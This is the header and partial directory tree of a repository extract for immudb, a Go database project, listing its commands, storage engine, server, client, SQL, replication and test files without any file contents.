Repository: codenotary/immudb Branch: master Commit: 10d2dd17549b Files: 1017 Total size: 7.0 MB Directory structure: gitextract_tb5jme5f/ ├── .chglog/ │ ├── CHANGELOG.tpl.md │ └── config.yml ├── .codeclimate.yml ├── .dockerignore ├── .editorconfig ├── .github/ │ ├── ACTIONS_SECRETS.md │ ├── ISSUE_TEMPLATE/ │ │ ├── bug_report.md │ │ └── feature-request.md │ ├── dependabot.yaml │ └── workflows/ │ ├── codeql.yml │ ├── performance.yml │ ├── pull.yml │ ├── push-dev.yml │ ├── push.yml │ └── stress.yml ├── .gitignore ├── .golangci.yml ├── .pre-commit-config.yaml ├── ACKNOWLEDGEMENTS.md ├── BUILD.md ├── CHANGELOG.md ├── CODE_OF_CONDUCT.md ├── CONTRIBUTING.md ├── Dockerfile ├── LICENSE ├── Makefile ├── README.md ├── SECURITY.md ├── build/ │ ├── Dockerfile │ ├── Dockerfile.alma │ ├── Dockerfile.full │ ├── Dockerfile.immuadmin │ ├── Dockerfile.immuclient │ ├── Dockerfile.rndpass │ ├── RELEASING.md │ ├── e2e/ │ │ └── Dockerfile │ ├── fips/ │ │ ├── Dockerfile │ │ ├── Dockerfile.build │ │ ├── Dockerfile.immuadmin │ │ ├── Dockerfile.immuclient │ │ └── check-fips.sh │ ├── gen-downloads-md.sh │ └── xgo/ │ ├── Dockerfile │ └── build.sh ├── cmd/ │ ├── cmdtest/ │ │ ├── random.go │ │ └── stdout_collector.go │ ├── docs/ │ │ └── man/ │ │ ├── generate.go │ │ └── generate_test.go │ ├── helper/ │ │ ├── color_unix.go │ │ ├── color_unix_test.go │ │ ├── color_windows.go │ │ ├── config.go │ │ ├── config_pathmanager_unix.go │ │ ├── config_pathmanager_windows.go │ │ ├── config_test.go │ │ ├── detached.go │ │ ├── detached_test.go │ │ ├── error.go │ │ ├── size.go │ │ ├── size_test.go │ │ ├── table_printer.go │ │ ├── table_printer_test.go │ │ ├── terminal.go │ │ └── terminal_test.go │ ├── immuadmin/ │ │ ├── command/ │ │ │ ├── backup.go │ │ │ ├── backup_test.go │ │ │ ├── cmd.go │ │ │ ├── cmd_test.go │ │ │ ├── commandline.go │ │ │ ├── commandline_test.go │ │ │ ├── database.go │ │ │ ├── database_test.go │ │ │ ├── hot_backup.go │ │ │ ├── hot_backup_test.go │ │ │ ├── init.go │ │ │ ├── init_test.go │ │ │ ├── login.go │ │ │ ├── login_errors_test.go │ │ │ ├── login_test.go │ │ │ ├── root.go │ │ │ ├── serverconfig.go │ │ │ ├── serverconfig_test.go │ │ │ ├── stats/ │ │ │ │ ├── controller.go │ │ │ │ ├── controller_test.go │ │ │ │ ├── metrics.go │ │ │ │ ├── metricsloader.go │ │ │ │ ├── show.go │ │ │ │ ├── show_test.go │ │ │ │ ├── statstest/ │ │ │ │ │ └── statsResponse.go │ │ │ │ ├── ui.go │ │ │ │ └── ui_test.go │ │ │ ├── stats.go │ │ │ ├── stats_test.go │ │ │ ├── testdata/ │ │ │ │ ├── 1-10.backup │ │ │ │ ├── 1-13.backup │ │ │ │ ├── 10-11.backup │ │ │ │ ├── 12-14.backup │ │ │ │ └── 14-15_modified.backup │ │ │ ├── user.go │ │ │ └── user_test.go │ │ ├── fips/ │ │ │ └── fips.go │ │ └── immuadmin.go │ ├── immuclient/ │ │ ├── audit/ │ │ │ ├── auditagent.go │ │ │ ├── auditagent_test.go │ │ │ ├── auditor.go │ │ │ ├── auditor_test.go │ │ │ ├── executable.go │ │ │ ├── executable_test.go │ │ │ ├── init.go │ │ │ ├── init_test.go │ │ │ ├── metrics.go │ │ │ ├── metrics_test.go │ │ │ ├── utils.go │ │ │ └── utils_test.go │ │ ├── cli/ │ │ │ ├── cli.go │ │ │ ├── cli_test.go │ │ │ ├── currentstatus.go │ │ │ ├── currentstatus_test.go │ │ │ ├── getcommands.go │ │ │ ├── getcommands_test.go │ │ │ ├── login.go │ │ │ ├── login_test.go │ │ │ ├── misc.go │ │ │ ├── misc_test.go │ │ │ ├── recommend.go │ │ │ ├── recommend_test.go │ │ │ ├── references.go │ │ │ ├── references_test.go │ │ │ ├── register.go │ │ │ ├── register_test.go │ │ │ ├── scanners.go │ │ │ ├── scanners_test.go │ │ │ ├── server_info.go │ │ │ ├── setcommands.go │ │ │ ├── setcommands_test.go │ │ │ ├── sql.go │ │ │ ├── sql_test.go │ │ │ ├── unixcmds.go │ │ │ └── unixcmds_test.go │ │ ├── command/ │ │ │ ├── cmd.go │ │ │ ├── cmd_test.go │ │ │ ├── commandline.go │ │ │ ├── commandline_test.go │ │ │ ├── currentstatus.go │ │ │ ├── currentstatus_test.go │ │ │ ├── getcommands.go │ │ │ ├── getcommands_test.go │ │ │ ├── init.go │ │ │ ├── init_test.go │ │ │ ├── login.go │ │ │ ├── login_test.go │ │ │ ├── misc.go │ │ │ ├── misc_test.go │ │ │ ├── references.go │ │ │ ├── references_test.go │ │ │ ├── root.go │ │ │ ├── scanners.go │ │ │ ├── scanners_test.go │ │ │ ├── server_info.go │ │ │ ├── server_info_test.go │ │ │ ├── setcommands.go │ │ │ ├── setcommands_test.go │ │ │ ├── sql.go │ │ │ ├── tamperproofing.go │ │ │ └── tamperproofing_test.go │ │ ├── fips/ │ │ │ └── fips.go │ │ ├── immuc/ │ │ │ ├── currentstatus.go │ │ │ ├── currentstatus_errors_test.go │ │ │ ├── currentstatus_test.go │ │ │ ├── getcommands.go │ │ │ ├── getcommands_errors_test.go │ │ │ ├── getcommands_test.go │ │ │ ├── history.go │ │ │ ├── history_test.go │ │ │ ├── init.go │ │ │ ├── init_errors_test.go │ │ │ ├── init_test.go │ │ │ ├── login.go │ │ │ ├── login_errors_test.go │ │ │ ├── login_test.go │ │ │ ├── misc.go │ │ │ ├── misc_errors_test.go │ │ │ ├── misc_test.go │ │ │ ├── options.go │ │ │ ├── options_test.go │ │ │ ├── print.go │ │ │ ├── references.go │ │ │ ├── references_errors_test.go │ │ │ ├── references_test.go │ │ │ ├── scanners.go │ │ │ ├── scanners_errors_test.go │ │ │ ├── scanners_test.go │ │ │ ├── server_info.go │ │ │ ├── server_info_test.go │ │ │ ├── setcommands.go │ │ │ ├── setcommands_errors_test.go │ │ │ ├── setcommands_test.go │ │ │ └── sql.go │ │ ├── immuclient.go │ │ ├── immuclienttest/ │ │ │ └── helper.go │ │ └── service/ │ │ ├── configs/ │ │ │ ├── immuclient.toml.freebsd.dist.go │ │ │ ├── immuclient.toml.linux.dist.go │ │ │ └── immuclient.toml.windows.dist.go │ │ └── constants/ │ │ ├── freebsd.dist.go │ │ ├── linux.dist.go │ │ └── windows.dist.go │ ├── immudb/ │ │ ├── command/ │ │ │ ├── cmd.go │ │ │ ├── cmd_test.go │ │ │ ├── commandline.go │ │ │ ├── commandline_test.go │ │ │ ├── immudbcmdtest/ │ │ │ │ ├── immuServerMock.go │ │ │ │ ├── immuServerMock_test.go │ │ │ │ └── manpageservice.go │ │ │ ├── init.go │ │ │ ├── parse_options.go │ │ │ ├── root.go │ │ │ ├── root_test.go │ │ │ ├── service/ │ │ │ │ ├── commandline.go │ │ │ │ ├── commandline_test.go │ │ │ │ ├── config/ │ │ │ │ │ ├── immudb.toml.freebsd.dist.go │ │ │ │ │ ├── immudb.toml.linux.dist.go │ │ │ │ │ └── immudb.toml.windows.dist.go │ │ │ │ ├── constant.go │ │ │ │ ├── constants/ │ │ │ │ │ ├── freebsd.dist.go │ │ │ │ │ ├── linux.dist.go │ │ │ │ │ └── windows.dist.go │ │ │ │ ├── service.go │ │ │ │ ├── service_test.go │ │ │ │ └── servicetest/ │ │ │ │ ├── commandline.go │ │ │ │ ├── configservice.go │ │ │ │ ├── daemon.go │ │ │ │ ├── server.go │ │ │ │ └── sservice.go │ │ │ ├── tls_config.go │ │ │ └── tls_config_test.go │ │ ├── fips/ │ │ │ └── fips.go │ │ └── immudb.go │ ├── immutest/ │ │ ├── command/ │ │ │ ├── cmd.go │ │ │ ├── cmd_test.go │ │ │ └── init.go │ │ ├── immutest.go │ │ └── immutest_test.go │ ├── sservice/ │ │ ├── constant.go │ │ ├── manpageservice.go │ │ ├── manpageservice_test.go │ │ ├── option.go │ │ ├── option_test.go │ │ ├── sservice.go │ │ ├── sservice_freebsd.go │ │ ├── sservice_unix.go │ │ ├── sservice_unix_test.go │ │ ├── sservice_windows.go │ │ └── sservice_windows_test.go │ └── version/ │ ├── cmd.go │ └── cmd_test.go ├── codecov.yml ├── configs/ │ ├── immuadmin.toml │ ├── immuclient.toml │ ├── immudb.toml │ └── immutest.toml ├── docs/ │ └── security/ │ ├── PROOFS.md │ └── vulnerabilities/ │ └── linear-fake/ │ ├── Dockerfile │ ├── README.md │ ├── docker-compose.yml │ ├── go/ │ │ ├── go.mod │ │ ├── go.sum │ │ └── main.go │ ├── python/ │ │ ├── .gitignore │ │ ├── Pipfile │ │ └── main.py │ └── server/ │ ├── data_generation/ │ │ └── state_values_generation_test.go │ ├── go.mod │ ├── go.sum │ ├── go_client_test.go │ ├── main.go │ ├── server.go │ └── state_values.go ├── embedded/ │ ├── ahtree/ │ │ ├── ahtree.go │ │ ├── ahtree_test.go │ │ ├── options.go │ │ ├── options_test.go │ │ ├── verification.go │ │ └── verification_test.go │ ├── appendable/ │ │ ├── appendable.go │ │ ├── fileutils/ │ │ │ ├── fileutils.go │ │ │ ├── fileutils_darwin.go │ │ │ ├── fileutils_freebsd.go │ │ │ ├── fileutils_linux.go │ │ │ ├── fileutils_unix_nonlinux.go │ │ │ └── fileutils_windows.go │ │ ├── metadata.go │ │ ├── metadata_test.go │ │ ├── mocked/ │ │ │ ├── mocked.go │ │ │ └── mocked_test.go │ │ ├── multiapp/ │ │ │ ├── appendable_cache.go │ │ │ ├── appendable_cache_test.go │ │ │ ├── metrics.go │ │ │ ├── multi_app.go │ │ │ ├── multi_app_test.go │ │ │ ├── options.go │ │ │ └── options_test.go │ │ ├── reader.go │ │ ├── reader_test.go │ │ ├── remoteapp/ │ │ │ ├── chunk_state.go │ │ │ ├── chunk_state_test.go │ │ │ ├── chunked_process.go │ │ │ ├── chunked_process_test.go │ │ │ ├── errors.go │ │ │ ├── metrics.go │ │ │ ├── options.go │ │ │ ├── options_test.go │ │ │ ├── remote_app.go │ │ │ ├── remote_app_test.go │ │ │ ├── remote_storage_reader.go │ │ │ └── remote_storage_reader_test.go │ │ └── singleapp/ │ │ ├── options.go │ │ ├── options_test.go │ │ ├── single_app.go │ │ └── single_app_test.go │ ├── cache/ │ │ ├── cache.go │ │ └── cache_test.go │ ├── document/ │ │ ├── document_id.go │ │ ├── document_id_test.go │ │ ├── document_reader.go │ │ ├── engine.go │ │ ├── engine_test.go │ │ ├── errors.go │ │ ├── errors_test.go │ │ ├── options.go │ │ ├── options_test.go │ │ ├── type_conversions.go │ │ └── type_conversions_test.go │ ├── errors.go │ ├── htree/ │ │ ├── htree.go │ │ └── htree_test.go │ ├── logger/ │ │ ├── file.go │ │ ├── file_test.go │ │ ├── json.go │ │ ├── json_test.go │ │ ├── log_file_writer.go │ │ ├── log_file_writer_test.go │ │ ├── logger.go │ │ ├── logger_test.go │ │ ├── memory.go │ │ ├── memory_test.go │ │ ├── simple.go │ │ └── simple_test.go │ ├── multierr/ │ │ ├── multierr.go │ │ └── multierr_test.go │ ├── remotestorage/ │ │ ├── memory/ │ │ │ ├── memory.go │ │ │ └── memory_test.go │ │ ├── remote_storage.go │ │ └── s3/ │ │ ├── metrics.go │ │ ├── s3.go │ │ ├── s3_test.go │ │ └── s3_with_minio_test.go │ ├── sql/ │ │ ├── aggregated_values.go │ │ ├── aggregated_values_test.go │ │ ├── catalog.go │ │ ├── catalog_test.go │ │ ├── cond_row_reader.go │ │ ├── cond_row_reader_test.go │ │ ├── distinct_row_reader.go │ │ ├── distinct_row_reader_test.go │ │ ├── dummy_data_source_test.go │ │ ├── dummy_row_reader_test.go │ │ ├── engine.go │ │ ├── engine_test.go │ │ ├── file_sort.go │ │ ├── functions.go │ │ ├── functions_test.go │ │ ├── grouped_row_reader.go │ │ ├── grouped_row_reader_test.go │ │ ├── implicit_conversion.go │ │ ├── implicit_conversion_test.go │ │ ├── joint_row_reader.go │ │ ├── joint_row_reader_test.go │ │ ├── json_type.go │ │ ├── limit_row_reader.go │ │ ├── limit_row_reader_test.go │ │ ├── num_operator.go │ │ ├── num_operator_test.go │ │ ├── offset_row_reader.go │ │ ├── offset_row_reader_test.go │ │ ├── options.go │ │ ├── options_test.go │ │ ├── parser.go │ │ ├── parser_test.go │ │ ├── proj_row_reader.go │ │ ├── row_reader.go │ │ ├── row_reader_test.go │ │ ├── sort_reader.go │ │ ├── sort_reader_test.go │ │ ├── sql_grammar.y │ │ ├── sql_parser.go │ │ ├── sql_tx.go │ │ ├── sql_tx_options.go │ │ ├── stmt.go │ │ ├── stmt_test.go │ │ ├── timestamp.go │ │ ├── timestamp_test.go │ │ ├── type_conversion.go │ │ ├── union_row_reader.go │ │ ├── union_row_reader_test.go │ │ ├── values_row_reader.go │ │ └── values_row_reader_test.go │ ├── store/ │ │ ├── immustore.go │ │ ├── immustore_test.go │ │ ├── indexer.go │ │ ├── indexer_test.go │ │ ├── key_reader.go │ │ ├── key_reader_test.go │ │ ├── kv_metadata.go │ │ ├── kv_metadata_test.go │ │ ├── metadata.go │ │ ├── ongoing_tx.go │ │ ├── ongoing_tx_keyreader.go │ │ ├── ongoing_tx_options.go │ │ ├── ongoing_tx_test.go │ │ ├── options.go │ │ ├── options_test.go │ │ ├── precommit_buffer.go │ │ ├── precommit_buffer_test.go │ │ ├── preconditions.go │ │ ├── tx.go │ │ ├── tx_metadata.go │ │ ├── tx_metadata_test.go │ │ ├── tx_reader.go │ │ ├── tx_reader_test.go │ │ ├── tx_test.go │ │ ├── txpool.go │ │ ├── txpool_test.go │ │ ├── verification.go │ │ └── verification_test.go │ ├── tbtree/ │ │ ├── consistency_error_test.go │ │ ├── history_reader.go │ │ ├── history_reader_test.go │ │ ├── metrics.go │ │ ├── options.go │ │ ├── options_test.go │ │ ├── reader.go │ │ ├── reader_test.go │ │ ├── snapshot.go │ │ ├── snapshot_test.go │ │ ├── tbtree.go │ │ └── tbtree_test.go │ ├── tools/ │ │ ├── bitflip.py │ │ ├── stress_tool/ │ │ │ └── stress_tool.go │ │ └── stress_tool_sql/ │ │ └── stress_tool_sql.go │ └── watchers/ │ ├── watchers.go │ └── watchers_test.go ├── ext-tools/ │ ├── buf │ ├── go-acc │ └── goveralls ├── go.mod ├── go.sum ├── helm/ │ ├── .gitignore │ ├── .helmignore │ ├── Chart.yaml │ ├── Makefile │ ├── templates/ │ │ ├── NOTES.txt │ │ ├── _helpers.tpl │ │ ├── configmap.yaml │ │ ├── ingress.yaml │ │ ├── secret.yaml │ │ ├── service.yaml │ │ ├── statefulset.yaml │ │ └── tests/ │ │ └── test-connection.yaml │ └── values.yaml ├── img/ │ └── images.MD ├── pkg/ │ ├── api/ │ │ ├── openapi/ │ │ │ └── apidocs.swagger.json │ │ ├── proto/ │ │ │ ├── authorization.proto │ │ │ └── documents.proto │ │ ├── protomodel/ │ │ │ ├── authorization.pb.go │ │ │ ├── authorization.pb.gw.go │ │ │ ├── authorization_grpc.pb.go │ │ │ ├── docs.md │ │ │ ├── documents.pb.go │ │ │ ├── documents.pb.gw.go │ │ │ └── documents_grpc.pb.go │ │ └── schema/ │ │ ├── database_protoconv.go │ │ ├── docs.md │ │ ├── errors.go │ │ ├── linear_inclusion_enhancer.go │ │ ├── metadata.go │ │ ├── metadata_test.go │ │ ├── ops.go │ │ ├── ops_test.go │ │ ├── pattern_test.go │ │ ├── patterns.go │ │ ├── preconditions.go │ │ ├── row_value.go │ │ ├── row_value_test.go │ │ ├── schema.pb.go │ │ ├── schema.pb.gw.go │ │ ├── schema.proto │ │ ├── schema.swagger.json │ │ ├── schema_grpc.pb.go │ │ ├── sql.go │ │ ├── sql_exec_result.go │ │ ├── sql_test.go │ │ ├── state.go │ │ ├── unexpected_type.go │ │ └── unexpected_type_test.go │ ├── auth/ │ │ ├── auth.go │ │ ├── auth_type.go │ │ ├── clientinterceptors.go │ │ ├── clientinterceptors_test.go │ │ ├── errors.go │ │ ├── passwords.go │ │ ├── passwords_test.go │ │ ├── permissions.go │ │ ├── permissions_test.go │ │ ├── serverinterceptors.go │ │ ├── serverinterceptors_test.go │ │ ├── tokenkeys.go │ │ ├── tokenkeys_test.go │ │ ├── tokens.go │ │ ├── tokens_test.go │ │ ├── user.go │ │ └── user_test.go │ ├── cert/ │ │ └── cert.go │ ├── client/ │ │ ├── auditor/ │ │ │ ├── auditor.go │ │ │ ├── auditor_test.go │ │ │ ├── monitoring_server.go │ │ │ └── monitoring_server_test.go │ │ ├── cache/ │ │ │ ├── cache.go │ │ │ ├── common.go │ │ │ ├── common_test.go │ │ │ ├── errors.go │ │ │ ├── file_cache.go │ │ │ ├── file_cache_test.go │ │ │ ├── history_file_cache.go │ │ │ ├── history_file_cache_test.go │ │ │ ├── inmemory_cache.go │ │ │ └── inmemory_cache_test.go │ │ ├── client.go │ │ ├── client_test.go │ │ ├── clienttest/ │ │ │ ├── homedir_mock.go │ │ │ ├── immuServiceClient_mock.go │ │ │ ├── immuclient_mock.go │ │ │ ├── immuclient_mock_test.go │ │ │ ├── password_reader_mock.go │ │ │ ├── terminal_reader_mock.go │ │ │ └── token_service_mock.go │ │ ├── errors/ │ │ │ ├── errors.go │ │ │ └── meta.go │ │ ├── errors.go │ │ ├── get_options.go │ │ ├── get_options_test.go │ │ ├── heartbeater.go │ │ ├── homedir/ │ │ │ ├── homedir.go │ │ │ └── homedir_test.go │ │ ├── illegal_state_handler_interceptor.go │ │ ├── mtls_options.go │ │ ├── options.go │ │ ├── options_test.go │ │ ├── session.go │ │ ├── session_id_injector_interceptor.go │ │ ├── session_test.go │ │ ├── signature_verifier_interceptor.go │ │ ├── sql.go │ │ ├── sql_test.go │ │ ├── state/ │ │ │ ├── immudb_uuid_provider.go │ │ │ ├── immudb_uuid_provider_test.go │ │ │ ├── state_provider.go │ │ │ ├── state_service.go │ │ │ └── state_service_test.go │ │ ├── stream_replication.go │ │ ├── stream_test.go │ │ ├── streams.go │ │ ├── streams_integration_test.go │ │ ├── streams_verified_integration_test.go │ │ ├── streams_zscan_and_history_integration_test.go │ │ ├── timestamp/ │ │ │ ├── default.go │ │ │ ├── timestamp_test.go │ │ │ └── tsgenerator.go │ │ ├── timestamp_service.go │ │ ├── timestamp_service_test.go │ │ ├── token_interceptor.go │ │ ├── tokenservice/ │ │ │ ├── errors.go │ │ │ ├── file.go │ │ │ ├── inmemory.go │ │ │ ├── inmemory_test.go │ │ │ ├── token_service.go │ │ │ └── token_service_test.go │ │ ├── transaction.go │ │ ├── tx_options.go │ │ ├── types.go │ │ └── types_test.go │ ├── database/ │ │ ├── all_ops.go │ │ ├── all_ops_test.go │ │ ├── database.go │ │ ├── database_test.go │ │ ├── db_manager.go │ │ ├── db_manager_test.go │ │ ├── dboptions.go │ │ ├── dboptions_test.go │ │ ├── document_database.go │ │ ├── document_database_test.go │ │ ├── errors.go │ │ ├── instrumented_rwmutex.go │ │ ├── instrumented_rwmutex_test.go │ │ ├── lazy_db.go │ │ ├── meta.go │ │ ├── protoconv.go │ │ ├── protoconv_test.go │ │ ├── reference.go │ │ ├── reference_test.go │ │ ├── replica_test.go │ │ ├── scan.go │ │ ├── scan_test.go │ │ ├── sorted_set.go │ │ ├── sorted_set_test.go │ │ ├── sql.go │ │ ├── sql_test.go │ │ ├── truncator.go │ │ ├── truncator_test.go │ │ └── types.go │ ├── errors/ │ │ ├── error.go │ │ ├── errors_test.go │ │ ├── grpc_status.go │ │ ├── grpc_status_test.go │ │ ├── map.go │ │ ├── map_test.go │ │ ├── meta.go │ │ └── wrapped.go │ ├── fs/ │ │ ├── copy.go │ │ ├── copy_test.go │ │ ├── tar.go │ │ ├── tar_test.go │ │ ├── zip.go │ │ └── zip_test.go │ ├── helpers/ │ │ ├── semaphore/ │ │ │ └── semaphore.go │ │ └── slices/ │ │ └── slices.go │ ├── immuos/ │ │ ├── filepath.go │ │ ├── filepath_test.go │ │ ├── ioutil.go │ │ ├── ioutil_test.go │ │ ├── os.go │ │ ├── os_test.go │ │ ├── user.go │ │ └── user_test.go │ ├── integration/ │ │ ├── auditor_test.go │ │ ├── client_test.go │ │ ├── database_creation_test.go │ │ ├── database_runtime_test.go │ │ ├── error_test.go │ │ ├── follower_replication_test.go │ │ ├── fuzzing/ │ │ │ └── grpc_fuzz_test.go │ │ ├── replication/ │ │ │ ├── docker.go │ │ │ ├── docker_test.go │ │ │ ├── server.go │ │ │ ├── suite.go │ │ │ └── synchronous_replication_test.go │ │ ├── server_recovery_test.go │ │ ├── session_test.go │ │ ├── signature_verifier_interceptor_test.go │ │ ├── sql/ │ │ │ └── sql_test.go │ │ ├── sql_types_test.go │ │ ├── stream/ │ │ │ ├── stream_replication_test.go │ │ │ ├── stream_test.go │ │ │ ├── streams_verified_test.go │ │ │ └── streams_zscan_and_history_test.go │ │ ├── tx/ │ │ │ ├── transaction_test.go │ │ │ └── tx_entries_test.go │ │ └── verification_long_linear_proof_test.go │ ├── pgsql/ │ │ ├── errors/ │ │ │ ├── errors.go │ │ │ └── errors_test.go │ │ ├── pgschema/ │ │ │ ├── resolvers_test.go │ │ │ └── table_resolvers.go │ │ └── server/ │ │ ├── bmessages/ │ │ │ ├── authentication_cleartext_password.go │ │ │ ├── authentication_ok.go │ │ │ ├── bind_complete.go │ │ │ ├── command_complete.go │ │ │ ├── data_row.go │ │ │ ├── empty_query_response.go │ │ │ ├── error_response.go │ │ │ ├── error_response_opt.go │ │ │ ├── error_response_test.go │ │ │ ├── parameter_description.go │ │ │ ├── parameter_status.go │ │ │ ├── parse_complete.go │ │ │ ├── ready_for_query.go │ │ │ └── row_description.go │ │ ├── cert/ │ │ │ ├── ca-cert.pem │ │ │ ├── ca-cert.srl │ │ │ ├── ca-key.pem │ │ │ ├── server-cert.pem │ │ │ ├── server-ext.cnf │ │ │ ├── server-key.pem │ │ │ └── server-req.pem │ │ ├── fmessages/ │ │ │ ├── bind.go │ │ │ ├── bind_test.go │ │ │ ├── describe.go │ │ │ ├── execute.go │ │ │ ├── execute_test.go │ │ │ ├── flush.go │ │ │ ├── fmessages_test/ │ │ │ │ └── payload.go │ │ │ ├── parse.go │ │ │ ├── parse_test.go │ │ │ ├── password_message.go │ │ │ ├── query.go │ │ │ ├── string_reader.go │ │ │ ├── sync.go │ │ │ └── terminate.go │ │ ├── initialize_session.go │ │ ├── message.go │ │ ├── message_test.go │ │ ├── options.go │ │ ├── pgmeta/ │ │ │ └── pg_type.go │ │ ├── pgsql_integration_test.go │ │ ├── query_machine.go │ │ ├── query_machine_test.go │ │ ├── request_handler.go │ │ ├── server.go │ │ ├── server_test.go │ │ ├── session.go │ │ ├── session_test.go │ │ ├── ssl_handshake.go │ │ ├── ssl_handshake_test.go │ │ ├── stmts_handler.go │ │ ├── types.go │ │ ├── types_test.go │ │ └── version.go │ ├── replication/ │ │ ├── delayer.go │ │ ├── metrics.go │ │ ├── options.go │ │ ├── options_test.go │ │ ├── replicator.go │ │ └── replicator_test.go │ ├── server/ │ │ ├── access_log_interceptor.go │ │ ├── access_log_interceptor_test.go │ │ ├── authorization_operations.go │ │ ├── corruption_checker.go │ │ ├── corruption_checker_test.go │ │ ├── db_dummy_closed.go │ │ ├── db_dummy_closed_test.go │ │ ├── db_operations.go │ │ ├── db_options.go │ │ ├── db_options_test.go │ │ ├── db_runtime_test.go │ │ ├── documents_operations.go │ │ ├── documents_operations_test.go │ │ ├── error_mapper_interceptor.go │ │ ├── errors.go │ │ ├── errors_test.go │ │ ├── keepAlive.go │ │ ├── keep_alive_session_interceptor.go │ │ ├── metrics.go │ │ ├── metrics_funcs.go │ │ ├── metrics_funcs_test.go │ │ ├── metrics_test.go │ │ ├── multidb_handler.go │ │ ├── multidb_handler_test.go │ │ ├── options.go │ │ ├── options_test.go │ │ ├── pid.go │ │ ├── pid_test.go │ │ ├── remote_storage.go │ │ ├── remote_storage_test.go │ │ ├── request_metadata_interceptor.go │ │ ├── server.go │ │ ├── server_test.go │ │ ├── servertest/ │ │ │ ├── server.go │ │ │ └── server_mock.go │ │ ├── service.go │ │ ├── service_test.go │ │ ├── session.go │ │ ├── session_auth_interceptor.go │ │ ├── sessions/ │ │ │ ├── errors.go │ │ │ ├── internal/ │ │ │ │ └── transactions/ │ │ │ │ ├── errors.go │ │ │ │ ├── transactions.go │ │ │ │ └── transactions_test.go │ │ │ ├── manager.go │ │ │ ├── manager_test.go │ │ │ ├── options.go │ │ │ ├── options_test.go │ │ │ ├── session.go │ │ │ └── session_test.go │ │ ├── sever_current_state_test.go │ │ ├── sql.go │ │ ├── sql_test.go │ │ ├── state_signer.go │ │ ├── state_signer_test.go │ │ ├── stream_replication.go │ │ ├── stream_replication_test.go │ │ ├── stream_test.go │ │ ├── streams.go │ │ ├── transaction.go │ │ ├── transaction_test.go │ │ ├── truncator.go │ │ ├── truncator_test.go │ │ ├── types.go │ │ ├── types_test.go │ │ ├── user.go │ │ ├── user_test.go │ │ ├── uuid.go │ │ ├── uuid_test.go │ │ ├── webserver.go │ │ └── webserver_test.go │ ├── signer/ │ │ ├── ecdsa.go │ │ ├── ecdsa_test.go │ │ └── signer.go │ ├── stdlib/ │ │ ├── connection.go │ │ ├── connection_test.go │ │ ├── connector.go │ │ ├── connector_test.go │ │ ├── driver.go │ │ ├── driver_test.go │ │ ├── errors.go │ │ ├── immuConnector.go │ │ ├── rows.go │ │ ├── rows_test.go │ │ ├── sql_test.go │ │ ├── tx.go │ │ ├── tx_test.go │ │ ├── uri.go │ │ └── uri_test.go │ ├── stream/ │ │ ├── errors.go │ │ ├── execall_receiver.go │ │ ├── execall_receiver_test.go │ │ ├── execall_sender.go │ │ ├── execall_sender_test.go │ │ ├── execall_streamer.go │ │ ├── factory.go │ │ ├── kvparser.go │ │ ├── kvparser_test.go │ │ ├── kvreceiver.go │ │ ├── kvsender.go │ │ ├── kvsender_test.go │ │ ├── kvstreamer.go │ │ ├── meta.go │ │ ├── receiver.go │ │ ├── receiver_test.go │ │ ├── sender.go │ │ ├── sender_test.go │ │ ├── streamer.go │ │ ├── streamtest/ │ │ │ ├── err_reader.go │ │ │ ├── receiver.go │ │ │ ├── sender.go │ │ │ └── stream.go │ │ ├── types.go │ │ ├── types_test.go │ │ ├── ventryparser.go │ │ ├── ventryparser_test.go │ │ ├── ventryreceiver.go │ │ ├── ventryreceiver_test.go │ │ ├── ventrysender.go │ │ ├── ventrysender_test.go │ │ ├── ventrystreamer.go │ │ ├── zStreamer.go │ │ ├── zparser.go │ │ ├── zparser_test.go │ │ ├── zreceiver.go │ │ ├── zreceiver_test.go │ │ ├── zsender.go │ │ └── zsender_test.go │ ├── streamutils/ │ │ ├── files.go │ │ └── files_test.go │ ├── truncator/ │ │ ├── truncator.go │ │ └── truncator_test.go │ └── verification/ │ ├── verification.go │ └── verification_test.go ├── sonar-project.properties ├── swagger/ │ ├── default/ │ │ └── index.html │ ├── swagger.go │ ├── swagger_default.go │ ├── swagger_default_test.go │ ├── swagger_test.go │ └── swaggeroverrides.js ├── test/ │ ├── client_test.expected.bkp │ ├── data_long_linear_proof/ │ │ ├── aht/ │ │ │ ├── commit/ │ │ │ │ └── 00000000.di │ │ │ └── tree/ │ │ │ └── 00000000.sha │ │ ├── commit/ │ │ │ └── 00000000.txi │ │ ├── index/ │ │ │ ├── commit/ │ │ │ │ └── 00000000.ri │ │ │ ├── history/ │ │ │ │ └── 00000000.hx │ │ │ └── nodes/ │ │ │ └── 00000000.n │ │ ├── tx/ │ │ │ └── 00000000.tx │ │ └── val_0/ │ │ └── 00000000.val │ ├── data_v1.1.0/ │ │ ├── defaultdb/ │ │ │ ├── aht/ │ │ │ │ ├── commit/ │ │ │ │ │ └── 00000000.di │ │ │ │ └── tree/ │ │ │ │ └── 00000000.sha │ │ │ ├── commit/ │ │ │ │ └── 00000000.txi │ │ │ ├── index/ │ │ │ │ ├── commit/ │ │ │ │ │ └── 00000000.ri │ │ │ │ ├── history/ │ │ │ │ │ └── 00000000.hx │ │ │ │ └── nodes/ │ │ │ │ └── 00000000.n │ │ │ ├── tx/ │ │ │ │ └── 00000000.tx │ │ │ └── val_0/ │ │ │ └── 00000000.val │ │ ├── immudb.identifier │ │ └── systemdb/ │ │ ├── aht/ │ │ │ ├── commit/ │ │ │ │ └── 00000000.di │ │ │ └── tree/ │ │ │ └── 00000000.sha │ │ ├── commit/ │ │ │ └── 00000000.txi │ │ ├── index/ │ │ │ ├── commit/ │ │ │ │ └── 00000000.ri │ │ │ ├── history/ │ │ │ │ └── 00000000.hx │ │ │ └── nodes/ │ │ │ └── 00000000.n │ │ ├── tx/ │ │ │ └── 00000000.tx │ │ └── val_0/ │ │ └── 00000000.val │ ├── document_storage_tests/ │ │ ├── documents_tests/ │ │ │ ├── actions/ │ │ │ │ ├── create_collections.go │ │ │ │ ├── create_index.go │ │ │ │ ├── get_collections.go │ │ │ │ ├── insert_documents.go │ │ │ │ ├── search_documents.go │ │ │ │ └── session.go │ │ │ ├── create_collections_test.go │ │ │ ├── create_indexes_test.go │ │ │ ├── delete_collections_test.go │ │ │ ├── go.mod │ │ │ ├── go.sum │ │ │ ├── insert_documents_test.go │ │ │ ├── models/ │ │ │ │ ├── collections.go │ │ │ │ ├── documents.go │ │ │ │ ├── index.go │ │ │ │ ├── search.go │ │ │ │ └── user.go │ │ │ └── session_test.go │ │ └── documents_tests_deprecated/ │ │ ├── auth_test.go │ │ ├── collections_test.go │ │ ├── create_collections_test.go │ │ ├── documents_test.go │ │ ├── documents_test_utils.go │ │ ├── go.mod │ │ ├── go.sum │ │ ├── 